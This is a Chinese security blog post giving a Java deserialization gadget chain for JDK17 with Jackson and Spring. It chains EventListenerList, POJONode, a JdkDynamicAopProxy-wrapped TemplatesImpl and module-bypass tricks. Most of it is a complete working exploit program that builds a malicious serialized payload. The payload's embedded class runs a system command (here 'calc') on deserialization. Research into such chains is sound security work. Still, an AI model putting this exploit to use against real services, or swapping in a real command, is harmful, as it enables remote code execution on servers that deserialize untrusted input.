先列一下涉及到的知识点:
1、jackson反序列化链,POJONode,toString–>getter
2、EventListenerList链,readObject–>toString,jdk17可用
3、jdk17怎么利用TemplatesImpl(不继承AbstractTranslet)进行类加载
4、JdkDynamicAopProxy解决jackson链中,getter无法稳定触发的问题
5、JdkDynamicAopProxy解决POJONode因为模块化无法直接调用getOutputProperties的问题
这里主要解决的问题是3、5,其他问题都是老生常谈的了,可以自己找文章看看。
问题3可以参考:
https://whoopsunix.com/docs/PPPYSO/advance/TemplatesImpl/#0x02-%E5%8E%BB%E9%99%A4-abstracttranslet-%E9%99%90%E5%88%B6
我的另一篇博客里也涉及了这个问题:
https://1diot9.github.io/2025/09/23/jdk17%E5%88%A9%E7%94%A8TemplatesImpl/
主要解决方法就是在bytecodes[][]里塞两个,即new byte[][]{byte1, byte2}
并且通过反射设置_transletIndex的值。
问题5的大致原理是,TemplatesImpl套上动态代理后,其对外开放的接口就变成了javax.xml.transform.Templates。这个类是public的,而且exports出来的,所以uname的类也可以直接调用。

给出exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118
| package com.test;
import com.fasterxml.jackson.databind.JsonNode; import com.fasterxml.jackson.databind.node.POJONode; import javassist.*; import javassist.util.proxy.DefineClassHelper; import org.springframework.aop.framework.AdvisedSupport;
import javax.swing.event.EventListenerList; import javax.swing.undo.UndoManager; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.Vector;
public class MyExp {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault(); CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace"); jsonNode.removeMethod(writeReplace); ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); jsonNode.toClass(classLoader, null);
byte[] bytes = getTemplates(); byte[] bytecode = ClassPool.getDefault().makeClass("useless").toBytecode(); Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); bypassModule.patchModule(MyExp.class, aClass); Object templates = aClass.newInstance(); setFieldValue(templates, "_bytecodes", new byte[][]{bytes, bytecode}); setFieldValue(templates, "_name", "any"); setFieldValue(templates, "_class", null); setFieldValue(templates, "_transletIndex", 0);
Object proxy = makeTemplatesImplAopProxy(templates);
POJONode node = new POJONode(proxy);
bypassModule.patchModule(MyExp.class, UndoManager.class); EventListenerList eventListenerList = getEventListenerList(node);
FileOutputStream fos = new FileOutputStream("exp.bin"); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(eventListenerList); oos.close(); fos.close();
FileInputStream fis = new FileInputStream("exp.bin"); ObjectInputStream ois = new ObjectInputStream(fis); ois.readObject(); ois.close(); fis.close();
}
public static Object makeTemplatesImplAopProxy(Object templates) throws Exception { AdvisedSupport advisedSupport = new AdvisedSupport(); advisedSupport.setTarget(templates); Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class); constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler); return proxy; }
public static EventListenerList getEventListenerList(Object obj) throws Exception{ EventListenerList list = new EventListenerList(); UndoManager undomanager = new UndoManager();
Vector vector = (Vector) getFieldValue(undomanager, "edits"); vector.add(obj);
setFieldValue(list, "listenerList", new Object[]{Class.class, undomanager}); return list; }
public static Object getFieldValue(Object obj, String fieldName) throws Exception { Field field = null; Class c = obj.getClass(); for (int i = 0; i < 5; i++) { try { field = c.getDeclaredField(fieldName); } catch (NoSuchFieldException e) { c = c.getSuperclass(); } } field.setAccessible(true); return field.get(obj); }
public static byte[] getTemplates() throws CannotCompileException, IOException { ClassPool pool = ClassPool.getDefault(); pool.importPackage("java.io"); CtClass ctClass = pool.makeClass("Calc"); CtConstructor ctConstructor = ctClass.makeClassInitializer(); ctConstructor.setBody("try {\n" + " Runtime.getRuntime().exec(\"calc\");\n" + " } catch (IOException e) {\n" + " throw new RuntimeException(e);\n" + " }"); byte[] bytecode = ctClass.toBytecode(); return bytecode; }
public static void setFieldValue(Object obj, String field, Object val) throws Exception { Field dField = obj.getClass().getDeclaredField(field); dField.setAccessible(true); dField.set(obj, val); } }
|
记得在虚拟机选项里添加参数:–add-opens=java.base/java.lang=ALL-UNNAMED

参考
高版本JDK下的Spring原生反序列化链 – fushulingのblog
上面这篇文章里,一开始提到的知识点基本都给出了相关文章,可以直接看。
高版本jdk+springboot链子